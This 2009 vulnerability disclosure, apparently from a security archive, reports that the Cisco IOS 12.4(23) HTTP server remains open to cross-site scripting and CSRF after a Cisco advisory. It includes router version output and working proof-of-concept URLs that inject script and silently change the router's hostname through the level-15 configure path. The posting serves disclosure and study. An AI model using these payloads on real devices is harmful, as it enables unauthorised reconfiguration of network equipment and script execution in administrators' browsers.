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Cisco XSS / XSRF Vulnerabilities

Cisco XSS / XSRF Vulnerabilities
Posted Feb 4, 2009
Authored by Zloss

After issuing fixes and an advisory regarding cross site scripting vulnerabilities in Cisco IOS, user input sanitization vulnerabilities still allow for more cross site scripting attacks. Proof of concept provided. Version 12.4(23) is affected.

tags | exploit, vulnerability, xss, proof of concept
systems | cisco
SHA-256 | 4b8e1bda492dbd916cff67902a9c08759123ecbc5e870b2d27afc13135780d0e

Cisco XSS / XSRF Vulnerabilities

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There was a Cisco Product Security Incident Response Team (PSIRT)
advisory recently concerning some XSS/CSRF holes in the IOS..

quote{

Document ID: 98605
http://www.cisco.com/warp/public/707/cisco-sr-20090114-http.shtml
Revision 1.0
For Public Release 2009 January 14 1600 UTC (GMT)
Cisco Response:
"Two separate Cisco IOS® Hypertext Transfer Protocol (HTTP) cross-site
scripting (XSS) vulnerabilities have been reported to Cisco [...]
This response covers two separate cross-site scripting vulnerabilities
within the Cisco IOS Hypertext Transfer Protocol (HTTP) server
(including HTTP secure server - here after referred to as purely HTTP
Server) and applies to all Cisco products that run Cisco IOS Software
versions 11.0 through 12.4 with the HTTP server enabled.

};

According to this advisory these holes were patched in 12.4(15)T8 and
12.4(23).

However i found that the Cisco IOS ( 12.4(23) ) HTTP Server is still
prone to multiple cross-site scripting vulnerabilities because it fails
to sufficiently sanitize user-supplied data.
The attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

Proof of concept:


furchtbar#sh ver | i IOS
Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version
12.4(23), RELEASE SOFTWARE (fc1)
furchtbar#show ip http server status | include status
HTTP server status: Enabled
HTTP secure server status: Enabled
furchtbar#sh ip int br | i up
FastEthernet0/0 192.168.1.2 YES NVRAM
up up

...

[XSS]

http://192.168.1.2/level/15/exec/-/"><body onload=alert("bug")>
http://192.168.1.2/level/15/exec/-/"><iframe onload=alert("bug")>

http://192.168.1.2/exec/"><body onload="alert('bug');">

[CSRF]

http://192.168.1.2/level/15/exec/-/"><body
onload=window.location='http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR'>

http://192.168.1.2/exec/"><iframe
src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR">



Best Regards,

Zloss
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